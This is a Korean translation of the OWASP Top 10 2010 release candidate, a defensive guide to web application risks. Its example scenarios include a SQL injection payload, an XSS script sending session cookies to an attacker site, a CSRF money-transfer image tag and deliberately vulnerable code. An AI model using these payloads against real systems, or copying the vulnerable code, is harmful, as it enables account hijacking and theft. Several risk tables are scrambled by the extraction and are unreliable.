RN 릴리스노트 OWASP TOP 과비교해 2010 릴리스에서달라진점 숙달된공격자, 신기술, 점점더복잡해져가는시스템들은인터넷어플리케이션에대한보안 위협국면을변화시킨다. OWASP TOP 10은정기적인업데이트를통해이변화를반영하고 있다. 이번 2010 릴리스에서

Transcription

1 [ 보고서] OWASP TOP (RC1) 가장심각한웹어플리케이션보안위험 10가지 ( 출처: 의견요망 OWASP는 2009년 12월 31일까지 1개월동안 OWASP TOP 에대한의견을공개접수 한후 2010년 1/4 분기에최종판을릴리스할예정이다. OWASP가 TOP 10 릴리스를통해어플리케이션보안위험들의중요성을알려온것이올해로 8 년째다. 이번릴리스는위험을집중적으로명확하게설명하기위해서대폭개정되었다. 그러기위해서 OWASP 는각각의위험에관련된위협, 공격, 취약점, 보안관리, 기술적영 향, 비즈니스에미치는영향을세분화했다. OWASP는조직들이이접근방식을모델로삼 아 TOP 10 리스트에제시된 10 가지위험이외의다른위험들도고려하고, 조직내어플리 케이션에존재하는가장중요한위험들을식별하기를바란 OWASP 커뮤니티는 OWASP TOP 을릴리스한후계속해서 OWASP 위키, OWASP 개발 자가이드, OWASP 테스트가이드, OWASP 코드리뷰가이드, OWASP Prevention Cheat Sheet 시리즈를포함한지원문서들을지속적으로업데이트할예정이다. OWASP TOP RC 관련한건설적인의견은 OWASP-TopTen@lists.owasp.org로, 사적 인의견은 OWASP-TopTen@lists.owasp.org로부탁드린다. 익명의의견도환영한다. 사적인 의견을제외한모든의견은분류되어최종판릴리스와함께발표될예정이다. TOP 10 항 목에대한변경을요하는의견을보낼때에는변경해야하는이론적근거와, 새로포함시 킬항목을포함시켜야한다. 모든의견에는관련페이지와섹션을포함시킬것을부탁드 린 여러분의피드백은 OWASP TOP 10 프로젝트의지속적인성공여부에있어아주중요하다. 모든사람들을위해전세계의소프트웨어보안개선에힘써주시는것에감사드린 OWASP TOP 10 OWASP 의장제프윌리엄스 프로젝트리드데이브위처스

2 RN 릴리스노트 OWASP TOP 과비교해 2010 릴리스에서달라진점 숙달된공격자, 신기술, 점점더복잡해져가는시스템들은인터넷어플리케이션에대한보안 위협국면을변화시킨다. OWASP TOP 10은정기적인업데이트를통해이변화를반영하고 있다. 이번 2010 릴리스에서변경된중요한사항 3 가지는아래와같다: 1) TOP 10 은 가장일반적인취약점 10 가지 가아닌, 최상위위험 10가지 를의미한다. 상세 한내용은아래 " 어플리케이션보안위험이해하기" 페이지를참조한다. 2) 관련된취약점들의빈도별로위험등급을매기던기존의방법에변화를주었다. 따라서이번릴리스에서는아래도표에서보는것처럼일부항목이제외되고, TOP 10의순서도일부변경되었 3) 기존의항목 2 가지가리스트에서제외되었고, 새로운항목이추가되었다: + A6 - 보안설정상의오류항목추가. 이항목은 2004 년도부터 안전하지못한설정관리 로 TOP 10 에포함되었다가소프트웨어문제점으로생각되지않았다는이유로제외되었다. 하지만조직의위험과대중화라는점에서볼때다시포함시킬가치가있음이확실하기때 문에 TOP 10 리스트에다시포함되었다. + A8 - 검증되지않은 Redirect와 Forward 항목추가. 검증되지않은 Redirect와 Forward 는상대적으로널리알려지지않은문제점으로, 큰피해를유발할수있다는것을보여주는 증거가많기때문에 TOP 10 리스트에새로추가되었다. - A3 - 악성파일실행항목제외. 이문제점은아직도많은환경들에서큰문제점이되고 있지만, 2007년도당시이문제점이존재하는많은 PHP 어플리케이션들로인해서심각성이 부풀려진면이있다. PHP 는현재보안이디폴트로더욱강화된상태로출시되고잇고, 이 문제점의발생은감소하고있기때문에 TOP 10 리스트에서제외되었다

3 - A6 - 정보유출과부적절한오류처리항목제외. 정보유출과부적절한오류처리문제 점은아주널리전파된문제점이지만, Stack Trace와오류메시지정보노출로인한영향은 대체적으로미미하기때문에 TOP 10 리스트에서제외되었다. OWASP TOP ( 이전) OWASP TOP ( 신규) A2 - 인젝션취약점 A1 - 인젝션 A1 - 크로스사이트스크립팅 (XSS) A2 - 크로스사이트스크립팅 (XSS) A7 - 취약한인증및세션관리 A3 - 취약한인증및세션관리 A4 - 안전하지않은직접객체참조 A4 - 안전하지않은직접객체참조 A5 - 크로스사이트요청위조 (CSRF) A5 - 크로스사이트요청위조 <T A10 - 안전하지않은설정관리> A6 - 보안설정상의오류 (CSRF) A10 - URL 접속제한실패 A7 - URL 접속제한실패 <T 에없었던항목> A8 - 검증되지않은 Redirect와 Forward A8 - 데이터를암호화하지않는저장 A9 - 데이터를암호화하지않고저장 A9 - 안전하지않은통신 A10 - 전송계층에대한불충분한보호 A3 - A6 - 악성파일실행 정보유출과부적절한오류처리 <T 에서제외됨> (T 에서제외됨> 위험어플리케이션보안위험 어플리케이션보안위험이란무엇을말하는가? 공격자들은많은경로를통해어플리케이션에침입해비즈니스에위해를가할수있다. 의경로는주의를요하는심각한위험혹은심각하지않은위험을의미한 각각

4 이경로들중에는공격자들이발견해서익스플로잇하기가쉬운것들도있고, 아주힘든것들 도있을수있다. 마찬가지로, 이경로들은비즈니스에아무런영향을주지않거나, 비즈니스 를망칠정도의영향을줄수있다. 조직에대한위험정도는위협원(Threat Agent), 공격경 로, 보안취약점에대한평가와, 조직에미치는기술적영향및비즈니스적영향을추정해서 이두가지를합산하는방법으로도출할수있다. 전반적인위험은이요인들을토대로결정 된 나의위험이란무엇을말하는가? OWASP TOP 10 업데이트는광범위한조직들이사용할수있도록가장심각한위험을식별하는데주력하고있다. OWASP는각각의위험에대해서 OWASP 위험순위결정방법에의거해순위를매겨, 이위험들이야기할수있는가능성과기술적영향에관한포괄적인정보를제공한 위협원 공격 공격이전파된 취약점탐지 기술적 비즈니스적 (Threat Agent) 경로 정도 용이도 영향 영향? 쉬움 널리전파됨쉬움심각 보통보통보통보통 어려움드물게전파됨어려움적음?

5 하지만각각의환경과비즈니스의특성은관련당사자들만알수있다. 어플리케이션에따라 서관련된공격을수행할수있는위협원(Threat Agent) 이없는것이있을수도있고, 기술적 영향을전혀받지않을수도있다. 따라서위험평가는각자의몫이다. 위협원(Threat Agent), 보안관리, 조직의비즈니스에미치는영향을평가하는경우에특히그렇다. OWASP TOP 10의이전버전들은가장흔한 " 취약점들" 을식별하는데주력했지만, 위험식별 도병행하도록설계되어있다. TOP 10 리스트에수록된각각의항목명은공격명을따서붙여 진것들도있고, 취약점이름이나영향을따서붙여진것들도있다. TOP 10 리스트항목은가 장잘알려져있어가장많은사람들이인지할수있는명칭이사용된 레퍼런스 OWASP OWASP 위험평가방법 위협/ 위험모델링 기타 정보위험요인분석 마이크로소프트위협모델링 (FAIR: Factor Analysis of Information Risk) (STRIDE와 DREAD) 구조 T10 OWASP TOP 10 어플리케이션보안위험들 A1 - 인젝션 SQL, OS, LDAP 인젝션등의인젝션취약점들은신뢰할수없는데이터가커맨드나쿼리에포함되어인터프리터로전송될때발생한다. 악성데이터를이용하면공격자는인터프리터를속여커맨드를실행하도록하거나, 허가받지않은데이터에접속할수있다. A2 - 크로스사이트스크립팅 (XSS) XSS 취약점은어플리케이션이신뢰할수없는데이터를받아적절한 Validation과 Escaping 없이웹브라우저로전송할때발생한다. XSS를이용하면공격자는사용자브라우저에스크립 트를실행시켜사용자세션을하이재킹하고, 웹사이트를변조하거나, 사용자를악성사이트로 Redirect 시킬수있다

6 A3 - 취약한인증및세션관리 인증과세션관리관련된어플리케이션기능들은올바르게구현되지않은경우가많기때문에 공격자들은패스워드, 키, 세션토큰을침입하거나, 구현상취약점들을익스플로잇해다른사 용자의아이디로위장할수있 A4 - 안전하지않은직접객체참조 직접객체참조는개발자가파일, 디렉토리, 데이터베이스키등의내부구현객체에대한레 퍼런스를노출시킬때발생한다. 액세스컨트롤체크나기타보호를사용하지않는경우공격 자는이레퍼런스를조작해허가받지않은데이터에접속할수있 A5 - CSRF 크로스사이트요청위조 (CSRF) 공격은로그온한사용자브라우저로하여금사용자의세션쿠키와기타인증정보를포 함하는위조된 HTTP 요청을취약한웹어플리케이션에전송하도록하는공격을말한다. 이 공격을이용하면공격자는취약한어플리케이션을속여사용자가전송하는합법적인요청으로 간주하게만드는요청을생성할수있 A6 - 보안설정상의오류 보안은어플리케이션, 프레임워크, 웹서버, 어플리케이션서버, 플랫폼에대해서정의된보안 설정에의존하지만, 보안설정을정의/ 구현/ 유지해야한다. 보안이디폴트로설정되지않은상태로출시되는제품들이많기때문에 A7 - URL 접속제한실패 보호된링크나버튼에접속하기전에 URL 접속권한을체크하는웹어플리케이션들이많다. 웹페이지에접속할때도마찬가지의접속제한체크가수행되어야한다. 웹페이지에접속할 때접속제한체크가수행되지않는경우, 공격자는 URL을위조해숨겨진페이지들에접속할 수있 A8 - 검증되지않은 Redirect와 Forward 웹어플리케이션들은사용자를다른페이지와웹사이트들로빈번하게 Redirect, Forward 하고, 신뢰할수없는데이터를사용해 Destination 페이지를결정한다. 올바르게검증하지않는경 우공격자는사용자를피싱사이트나맬웨어사이트로 Redirect 하거나, Forward를사용해허 가받지않은페이지에접속할수있 A9 - 데이터를암호화하지않은저장 웹어플리케이션들중에는신용카드, SSN, 인증식별정보등의중요한데이터를암호화나 Hash 로올바르게보호하지않는것들이많다. 이약하게보호되는데이터를사용하면공격자

7 는아이디를훔치고, 신용카드사기나기타범죄를수행할수있다. A10 - 전송계층에대한불충분한보호 어플리케이션들은중요한통신을보호해야할때네트워크트래픽을암호화하지않는경우가 많다. 암호화를하더라도약한알고리즘을지원하거나, 만료되었거나유효하지않은인증서를 사용하거나, 이인증서들을올바르게사용하지않는경우가있다. A1 인젝션 시스템에 신 공격자는 타 인젝션취약점은어플리케이 인젝션은 데 영향을 받는 뢰할수없는 겟 인터프리 션이인터프리터로신뢰할수 이터도난, 데이터와인터 데이터를 전 터의 구문을 없는데이터를보낼때발생 오염, 투명성 프리터를실행 송할수있는 익스플로잇하 한다. 인젝션취약점은아주 저하, DoS 공 하는플랫폼의 사람 ( 외부 는간단한텍 널리전파되어있고, SQL 쿼 격의 결과를 비즈니스적가 사용자, 내부 스트기반공 리, LDAP 쿼리, XPath 쿼리, 가져올수있 치를 고려한 사용자, 관리 격을 전송한 OS 커맨드, 프로그램 다. 인젝션은 자포함 ) 다. 내부소 Argument 등에서자주발견된 호스트를 완 스를 포함한 다. 코드리뷰를하면인젝션 전히 장악당 거의모든데 취약점을발견하기쉽지만, 하는 결과를 이터 소스가 테스트를통해서는발견하기 가져오는 경 인젝션 공격 가힘들다. 스캐너와 Fuzzer 우도있 경로로 사용 는공격자가인젝션취약점을 될수있 발견하는데도움이된 나는인젝션에취약한가? 어플리케이션이인젝션에취약한지여부를확인하는가장좋은방법은모든인터프리터를사

8 용할때신뢰할수없는데이터를커맨드나쿼리로부터명확히분리하도록검증하는것이 SQL 호출의경우는, 모든 Prepared Statement와저장된프로시저에서바인드변수를사용하 도록하고, Dynamic 쿼리를피한다. 코드체크는어플리케이션이인터프리터를안전하게사용하는지여부를신속하고정확하게확 인하는방법이다. 코드분석툴은보안분석가가인터프리터사용을찾아내고, 어플리케이션을 통한데이터의흐름을추적하는데도움이된다. 수작업침투테스터들은이취약점을탐지하 는익스플로잇을제작/ 사용해이문제점들을확인할수있다. 자동 Dynamic 스캐닝을사용하면익스플로잇가능한인젝션문제점이존재하는지여부를일 부알아낼수있다. 하지만스캐너가항상인터프리터를찾아내는것은아니며, 공격이성공적 이었는지여부를올바르게탐지하지못할수도있 인젝션은어떻게방지하는가? 인젝션을방지하려면신뢰할수없는데이터를커맨드와쿼리로부터항상분리해야한 1. 선호되는옵션은, 인터프리터사용을전면금지하거나, Parameter화된인터페이스를제공하 는안전한 API 를사용하는것이다. 2. Parameter화된 API 를사용할수없는경우는, 인터프리터용 Escape 구문을사용해특수 문자를신중하게 일부제공하고있 Escape 해야한다. OWASP의 ESAPI 는 Escaping Routine 에관한정보를 3. 적절한정형화(Canonicalization) 을사용하는화이트리스트입력검증도인젝션으로부터보 호하는데도움이되지만, 특수문자입력을허용하는어플리케이션들이많기때문에완전한 방어책은아니 러리를제공한 OWASP의 ESPI 는화이트리스트입력검증작업의확장가능한라이브 공격시나리오예제 이어플리케이션은아래와같은취약한 용한다 : SQL Call 문을작성할때신뢰할수없는데이터를사 String query = "SELECT * FROM accounts WHERE

9 custid='" + request.getparameter("id") +"'"; 공격자는브라우저에서 'id' Parameter를 send: ' or '1'='1 로변경한다. 그결과이쿼리는해 당고객계정데이터베이스만돌려주라는의미대신에, 계정데이터베이스로부터모든 Record 를돌려주라는의미로변경된 or '1'='1 최악의경우, 공격자는이취약점을사용해데이터베이스에저장된프로시저를호출해데이터베이스호스트를전면장악할수있 레퍼런스 OWASP OWASP SQL 인젝션방지 OWASP 인젝션취약점문서 ESAPI 인코더 API ESAPI 입력검증 API Cheat Sheet ASVS: 출럭인코딩/Escaping 에필요한것들 (V6) OWASP 테스트가이드: SQL 인젝션테스트 OWASP 코드리뷰가이드: SQL 인젝션 OWASP 코드리뷰가이드 : 커맨드인젝션 기타 CWE Entry 77: 커맨드인젝션 CWE Entry 89: SQL 인젝션 A2 크로스사이트스크립팅 (XSS)

10 시스템에 신 공격자는브라 XSS 는가장널리전파된웹 공격자는사용 영향을 받는 뢰할수없는 우저에서인터 어플리케이션취약점이 자브라우저에 데이터나 어플 데이터를 보 프리터를익스 XSS 취약점은어플리케이션이 스크립트를실 리케이션 기능 낼수있는 플로잇할 수 사용자가제공한데이터를적 행해 사용자 의비즈니스적 사람 ( 외부 있는 텍스트 절하게검증하거나 Escape하 세션 하이재 가치를 고려한 사용자, 내부 기반공격스 지않고브라우저가전송한 킹, 웹사이트 사용자, 관리 크립트를전송 페이지에포함시킬때발생한 변조, 악성콘 자포함 ) 한다. 내부소 다. XSS 취약점은 1) Stored 텐트삽입, 사 스를 포함한 XSS, 2) Reflected XSS, 3) 용자를 거의모든데 DOM 기반 XSS, 이렇게 3가지 Redirect, 맬 이터 소스가 로분류된 웨어를사용해 공격 경로로 사용자브라우 사용될수있 XSS 취약점은 테스트나코드 저 하이재킹 분석을통해아주쉽게탐지 등의악성행 할수있 위를 수행할 수있 나는 XSS 에취약한가? 브라우저로재전송된모든사용자입력을 ( 입력검증을통해) 안전하게검증하고, 사용자입력 이출력페이지에포함되기전에적절하게 Escape 되도록한다. 적절한출력인코딩을이용해 사용자입력은항상, 브라우저에서실행될수있는액티브콘텐트가아닌텍스트로취급되도 록한 정적/ 동적툴을이용하면 XSS 문제점들을자동으로발견할수있다. 하지만어플리케이션에 따라서출력페이지가각각다르게구축되고, 인터프리터도브라우저에따라서자바스크립트, 액티브X, 플래시, 실버라이트등각자다르게사용된다는문제점이있다. 따라서탐지를완벽 하게수행하려면수작업코드리뷰와수작업침투테스트를병행해야한 AJAX 등의웹 2.0 기술은자동툴을통해 XSS 를탐지하는것을훨씬더힘들게만든다

11 XSS 는어떻게방지하는가? XSS 를방지하려면액티브브라우저콘텐트와신뢰할수없는데이터를항상분리해야한다. 1. 신뢰할수없는데이터가포함될수있는 HTML (body, attribute, 자바스크립트, CSS, URL) 기반데이터전체를올바르게 Escape 한다. 개발자들은어플리케이션이 Escaping을 수행하지않는경우이 Escaping 을포함시키도록한다. Escaping에관한보다많은정보 는 OWASP XSS 방지 Cheat Sheet를참조한 2. 적절한 Canonicalization( 디코딩) 으로 Positive 혹은화이트리스트입력검증을수행하는것 도 XSS 에대해서보호하는데도움이되지만, 입력에특수문자가필요한어플리케이션이많 기때문에완벽한방어책은될수없다. 이경우는입력을허용하기전에가능한인코딩된 모든입력을디코딩해길이, 문자, 포맷, 데이터관련비즈니스룰을검증하도록한다. 공격시나리오예제 이어플리케이션은신뢰할수없는데이터를검증이나 Escaping 없이 HTML 구성에사용한다. (String) page += "<input name='creditcard' type='text value='" + request.getparameter("cc") + "'>"; 공격자는브라우저에서이 'CC' Parameter 를아래와같이수정한다: '><script>document.location= ' '%20+document.cookie</script>. 사용자의세션 ID는공격자의웹사이트로전송되어공격자는사용자의현재세션을하이재킹 할수있다. 공격자는 XSS를사용해어플리케이션의 CSRF 방어를무력화할수도있다는점 에주의하도록한다. CSRF에관한정보는 A5 를참조한다. 레퍼런스 OWASP

12 OWASP XSS 방지 Cheat Sheet OWASP 크로스사이트스크립팅관련글 ESAPI 프로젝트홈페이지 ESAPI 인코더 API ASVS: 출력인코딩/Escaping 에필요한사항들 (V6) ASVS: 입력검증에필요한사항들 OWASP 테스트가이드: XSS 테스트 OWASP 코드리뷰가이드: XSS 리뷰 (V5) 기타 CWE Entry 79: 크로스사이트스크립팅 RSnake의 XSS 공격 Cheat Sheet A3 취약한인증및세션관리 다른 사람의 공격자는인증 개발자들은맞춤형인증과세 영향을 받는 계정을훔치려 혹은세션관 션을자주구축하지만, 올바 이런취약점들 데이터나어플 고하는익명 리기능노출 / 르게구축하기가힘든관계로 을 이용하면 리케이션기능 의외부공격 취약점을사용 취약점이존재하는경우가많 일부 혹은전 의비즈니스적 자와 계정을 해 ( 예를들 다. 그결과인증과세션에 체계정에대 가치를고려한 소유하고있는 어, 노출된계 취약점이존재하는경우가많 한공격이가 사용자. 악성 정, 패스워드, 다. 로그아웃, 패스워드관 능하다. 공격 행위를감추려 혹은세션 ID) 리, 타임아웃, 로그인상태 에 성공하는 고하는내부 사용자를가장 유지 (Remember Me), 비밀질 경우공격자는 자도고려대상 한 문, 계정업데이트부문이특 사용자가 할 이 히그렇다. 각각다르게구현 수있는모든 되기때문에이런취약점들은 것을 수행할 발견하기가힘든경우도있 수있기때문 에권한이부

13 여된계정은더많은피해를입는 나는인증및세션관리에취약한가? 보호해야할가장중요한자산은사용자패스워드와세션 ID 다. 1. 패스워드, 세션 ID, 기타식별정보는 TLS 접속을통해서만전송되는가? (A10 참조) 2. Hash 나암호화를사용해저장될때식별정보는항상보호되는가? (A10 참조) 3. 약한계정관리기능 ( 예를들어계정생성, 패스워드변경, 패스워드복구) 을통해식별정 보를추정하거나덮어쓰기할수있는가? 4. 세션 ID는 URL Rewriting 을통해노출될수있는가? 5. 세션 ID 에타임아웃이적용되어사용자로그아웃이가능한가? 보다상세한정보는 ASVS V2와 V3 에서해당부분을참조한다. 취약한인증및세션관리는어떻게방지하는가? 조직들은개발자들이강력한인증과세션관리를사용할수있도록해야한 1. 이관리는 OWASP의어플리케이션보안검증표준 (AVIS) V2( 인증) 와 V3( 세션관리) 에상 세히정의되어있는인증및세션관리필수요건을모두충족할수있도록노력을기울여 야한 2. 이관리는간단한개발자용인터페이스를갖춰야한 ESAPI Authenticator와사용자 를좋은예제로삼아이행/ 사용/ 구축할것을고려한다. API 3. 세션 ID를훔치는데사용될수있는 XSS 취약점들을방지하기위한확고한노력을기울여 야한

14 공격시나리오예제 시나리오 #1: URL Rewriting을지원해세션 ID를 URL에포함시키는항공사예약어플리케이 션이있다 : 2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii 이사이트에인증받은한사용자는친구들에게항공권판매에관해서알려주고싶어서위의 링크를친구들에게이메일로보낸다. 이사용자는자신의세션 ID가노출된다는사실을알지 못한다. 친구들이이링크를클릭하면이사용자의세션과신용카드도사용할수있게된다. 시나리오 #2: 타임아웃이적절하게설정되어있지않은어플리케이션이있다. 사용자는공공 컴퓨터를사용해사이트에접속한다. 사용자는로그아웃을하는대신브라우저창을닫고자 리를뜬다. 공격자는같은브라우저를 1 시간후에사용한다. 브라우저는아직도그사이트에 인증되어있는상태 시나리오 #3: 트래픽전체에 SSL /TLS 를사용하지않는사이트가있다. 사이트에접속하는 사용자의무선트래픽은이웃사람에의해스니핑당해사용자 ID, 패스워드, 세션 ID가노출된 레퍼런스 OWASP 취약한인증관리및세션부문관련피해야할문제점들과필수요건들에관한상세한정보는 ASVS 인증 (V2) 과세션관리 (V3) 에필요한것들을참조한 ESAPI Authenticator API ESAPI 사용자 API OWASP 개발가이드: 인증 OWASP 테스트가이드: 인증 기타 CWE Entry 287 : 부적절한인증

15 A4 안전하지않은직접객체참조 유형별시스템 시스템접속권 어플리케이션은 웹페이지를 이런취약점들 노출될수있 사용자를고려 한을가진사 생성할때실제객체명이나 을 이용하면 는 데이터의 한다. 특정유 용자는시스템 키를사용하는경우가자주 Param eter 로 비즈니스적가 형의데이터에 객체를 직접 있다. 어플리케이션은사용자 참조 가능한 치를 고려한 전체적이아닌 참조하는 가객체에대해접속권한이 모든데이터에 부분적으로접 Parameter 값을 있는지여부를항상검증하지 침입할수있 속할수있는 허가되지않은 는않기때문에, 안전하지않 다. 네임스페 사용자가있는 다른 객체를 은직접객체참조에취약한 이스가 희소 가? 참조하도록변 결과를가져온다. 이런취약 (Sparse) 하지 경해 접속한 점들은 Parameter를변경하는 않는한공격 테스트를통해탐지할수있 자는이런유 고, 코드분석을통해접속권 형의 데이터 한이올바르게검증되었는지 전체에 쉽게 여부를신속하게알수있 접속할수있 나는직접객체참조에취약한가? 어플리케이션이안전하지않은직접객체참조에대해서취약한지여부를알아보는가장좋은방법은모든객체참조에적절한보호가적용되는지를검증하는것이다. 검증할때에는아래사항들을유념한다 : 1. 제한된자원을직접참조하는경우, 어플리케이션에사용자가요청한자원에대한접속권 한이있는지를확인한

16 2. 간접참조의경우, 직접참조에대한 Mapping은 Current User에게허가된값만가능하도록 제한해야한 코드리뷰를수행하면위의방법이안전하게구현되었는지여부를신속하게확인할수있 테스트도직접객체참조의식별과안전여부확인에효과적이다. 자동화된툴은대부분어떤것이보호를필요로하는지, 어떤것이안전하고어떤것이안전하지못한지분별하지못하기때문에이런취약점들을탐지하지못한 안전하지않은직접객체참조는어떻게방지하는가? 안전하지않은직접객체참조를방지하려면, 각각의사용자가접속가능한객체 ( 예를들어, 객체번호, 파일네임) 를보호해야한다. 1. 간접객체참조를사용한다. 간접객체참조를사용하면공격자가허가받지않은자원을직 접적인공격목표로삼는것을방지할수있다. 예를들어, 6가지자원에대해 Drop-Down 리스트를사용하는경우, 데이터베이스명을사용하는대신숫자 1에서 6까지를사용해사 용자가어떤값을선택했는지를표시하는방법을사용한다. 어플리케이션은사용자별간접 참조서버의실제데이터베이스키로전환시키도록한다. OWASP의 ESAPI는개발자들이 직접객체참조를방지할수있도록시퀀스와랜덤접속에참조가되는 있 Map을제공하고 2. 접속체크. 신뢰할수없는소스로부터의직접객체참조를사용하는경우는각각의사용에 대한접속제어체크를수행해요청한객체에대해서사용자가접속권한을갖고있는지여 부를확인한 공격시나리오예제 계정정보에접속하는 SQL Call 에검증되지않은데이터를사용하는어플리케이션이있다: String query = "SELECT * FROM accts WHERE account =?"; PreparedStatementpstmt= connection.preparestatement(query, ); pstmt.setstring( 1, request.getparameter("acct"));

17 ResultSetresults = pstmt.executequery( ); 공격자는브라우저에서 acct Parameter 를간단히수정해원하는계정번호로전송한다. 검증 되지않는경우공격자는해당사용자뿐이아닌어떤사용자계정에도접속할수있 레퍼런스 OWASP OWASP TOP 안전하지않은직접객체 ESAPI 액세스레퍼런스 ESAPI 액세스컨트롤 Map API isauthorizedforfunction() 참조) 참조 API (isauthorizedfordata(), isauthorizedforfile(), 접속제어관련된추가필수사항은 ASVS requirements area for Access Control (V4) 참조. 기타 CWE Entry 639: 안전하지못한직접객체부분 CWE Entry 22: Path Traversal 부분 ( 직접객체참조공격예제) A5 크로스사이트요청위조 (CSRF) 사용자를속여 공격자는 Transaction 전체를 웹사이트에요 공격자는위조 세부적으로추정할수있는 공격자는사용 영향을 받는 청을제출하게 된 HTTP 요청 웹어플리케이션을이용해 자로 하여금 데이터나어플 하는사람. 이 을생성해, 사 CSRF 공격을수행한다. 사용자가변경 리케이션의비

18 용자를 속여 할수있는데 즈니스적가치 공격은사용자 이미지태그, 이터를변경하 를고려한 가 접속하는 XSS, 기타 다 브라우저는세션쿠키등의 도록 만들거 만일사용자가 모든웹사이트 른많은기술 식별정보를자동으로전송하 나, 사용이허 이액션을수 에해당된 들을 이용해 기때문에, 공격자는합법적 가된 기능을 행할의도였는 이요청을제 인요청과구별이되지않는 수행하도록할 지가 확실치 출하도록 한 가짜요청을생성하는악성 수있 않다고가정한 사용자가 웹페이지를생성할수있 인증되는경우 이공격은성 CSRF 취약점탐지는외부테 공한 스트나코드분석을통하면 아주쉽 나는 CSRF 에취약한가? 어플리케이션이 CSRF에취약한지여부를체크하는가장쉬운방법은각각의링크와 Form에 각각의사용자가추정할수없는토큰이포함되었는지여부를확인하는것이다. 추정할수없 는토큰이사용되지않는경우공격자는악성요청을위조할수있다. 상태를변경하는기능 을호출하는링크와 Form들은 CSRF 공격의가장중요한공격목표기때문에주의해야한다. 다단계 Transaction 은본질적으로보안이적용되어있지않기때문에체크해야한다. 공격자들 은여러태그나자바스크립트를사용해요청을쉽게위조할수있 세션쿠키, 소스 IP, 브라우저가자동으로전송하는기타정보도위조된요청에포함된다는점 에유념한 OWASP의 이 CSRF 테스터툴은어플리케이션에서 CSRF 취약점을테스트하는데도움이되는툴 CSRF 는어떻게방지하는가? CSRF를방지하려면각각의 Transaction 에추정할수없는토큰을포함시켜야한다. 최소한 사용자세션별로고유한세션을사용하되, 각각의요청별로도고유한세션을사용하도록한다

19 1. CSRF 방지에선호되는옵션은고유토큰을히든필드 (Hidden Field) 에포함시키는것이 다. 이옵션을사용하면이값이 HTTP 요청의 BODY에서전송되기때문에노출될수있는 URL 이포함되는것을피할수있다. 2. 고유토큰은 URL 자체나 URL Parameter 에도포함될수있다. 하지만이경우 URL이공격 자에게노출될위험이있기때문에공격자가비밀토큰을침입하는결과를가져올수도있 OWASP의 CSRF Guard는자바 EE, 닷넷, PHP 어플리케이션에추정할수없는토큰을자동 으로포함시키는데사용될수있다. OWASP의 ESAPI는개발자들이 Transaction을보호하는데 사용할수있는토큰생성기와 Validator 를제공한다. 공격시나리오예제 사용자가상태변경요청을제출하는것을허용하는어플리케이션이있다. 이요청은한눈 에의미를쉽게파악할수있도록구성되어있다 : &destinationaccount= 공격자는사용자계정에서돈을인출해공격자의계정으로전송시키는요청을만들어, 격을공격자가제어하는여러사이트에저장된이미지나요청이나 iframe 에삽입한다. 이공 <img src=" amount=1500&destinationaccount=attackersacct# width="0" height="0" /> 사용자가 example.com 사이트에인증된상태에서이사이트들을방문하는경우, 위조된요 청에는사용자의세션정보가포함되어있기때문에사용자의위조된요청은허가된 레퍼런스 OWASP OWASP CSRF 관련글

20 OWASP CSRF 방지 Cheat Sheet OWASP CSRFGuard-CSRF 방어툴부분 ESAPI 프로젝트홈페이지 AntiCSRF 토큰을사용한 ESAPI HTTPUtilitiesClass OWASP 테스트가이드: CSRF 테스트부분 OWASP CSRFTester - CSRF 테스트툴툴부분 기타 CWE Entry 352 : CSRF 부분 A6 보안설정상의오류 시스템침입을 시도할 수 있 는 계정을 소 유한 모든 사 용자와익명의 외부 공격자. 악성 행위를 감추는내부인 도 고려 대상 이 공격자는허가받지않은접속을획득하거나, 시스템관한정보를알아내기위해서디폴트계정, 사용되지않는 페이지, 패치되지않은취약점, 보호되지않은파일 과디렉토리등에접속한 잘못된보안설정은플랫폼, 웹서버, 어플리케이션서버, 프레임워크, 맞춤형코드를 포함한모든차원의어플리케 이션 Stack에서발생할수있 다. 개발자들과네트워크관 리자들은스택전체가올바르 게설정되도록해야한다. 자 동스캐너는패치되지않은 부분, 올바르지않게설정된 부분, 디폴트계정사용, 불 필요한서비스등을탐지하는 데유용하 이런취약점들을이용하면공격자는시스템데이터나기능에부분적으로허가받지않고접속할 수있다. 이런취약점들은시스템전체가침입당하는결과를가져올수있 영향을받는데이터나어플리케이션기능들의비즈니스적가치를고려한

21 나는보안설정상의오류에취약한가? 어플리케이션전체 Stack 에대해서적절한보안강화를수행했는가? 1. 사용하는시스템환경의모든소프트웨어에대해서최신버전과패치를지속적으로적용하 도록하는절차가수립되어있는가? OS, 웹/ 어플리케이션서버, DBMS, 어플리케이션, 라 이브러리도해당된 2. 불필요한모든것들 ( 예를들어, 포트, 서비스, 페이지, 계정) 은 Disable/ 삭제되었는가? 아 니면인스톨되어있는가? 3. 디폴트계정패스워드는변경혹은 Disable 되었는가? 4. 모든다른보안설정은올바르게설정되어있는지 5. 모든서버는방화벽 / 필터등으로보호되어있는가? 보안설정을개발/ 유지하려면계획된반복적인프로세스가필요하다. 보안설정상의오류는어떻게방지하는가? 보안설정상의오류를방지하기위해 OWASP 가권하는주요한방지책들은아래와같다: 1. 다른환경에신속하고쉽게적용할수있도록절차를계속적으로강화한다. Dev, QA, 제품 환경은모두동일하게설정되어야한다. 이절차를자동화해새로운보안환경을설정하는 데드는노력을최소화한 1. 모든새로운소프트웨어업데이트와패치를각각의환경에대해서적시에일괄적으로병행 할수있도록하는절차를수립한 2. 올바르게분리되어있고, 요소요소마다보안을제공하는강력한네트워크구조를구축한다. 정기적인자동스캔을통해잘못된설정이나누락된패치를탐지한

22 공격시나리오예제 시나리오 #1: 연구원이당신의어플리케이션서버에서너무긴 UTF-8 취약점을발견한다. 패 치가릴리스되지만당신은패치를신속하게적용시키지않는다. 공격자는최신패치를리버스 엔지니어해취약점을알아내고, 당신의네트워크를스캔해, 패치되지않은서버를찾아내당신 의서버를장악한 시나리오 #2: 자동으로인스톨된관리자콘솔은삭제되지않고, 디폴트계정은변경되지않은 상태다. 서버를장악한 공격자는당신서버에서표준관리자페이지를발견해디폴트패스워드로로그인해 시나리오 #3: 당신의서버의디렉토리리스트는 Disble 되지않은상태다. 공격자는디렉토리 리스팅만으로당신서버의모든파일들을볼수있다는것을알아낸다. 공격자는컴파일된자 바클래스전체를발견해다운로드/ 리버스해당신서버의모든 Custom Code 를획득한다. 공 격자는그런다음당신어플리케이션에존재하는심각한액세스컨트롤취약점을발견한 레퍼런스 OWASP OWASP 개발자가이드: 설정부분 OWASP 테스트가이드: 설정관리부분 OWASP TOP 안전하지않은설정관리 이영역의추가적은요건은보안설정을위한 ASVS requirements area for Security Configuration (V12) 을참조한 기타 PC 매거진기사: 웹서버강화부분 CWE Entry 2: 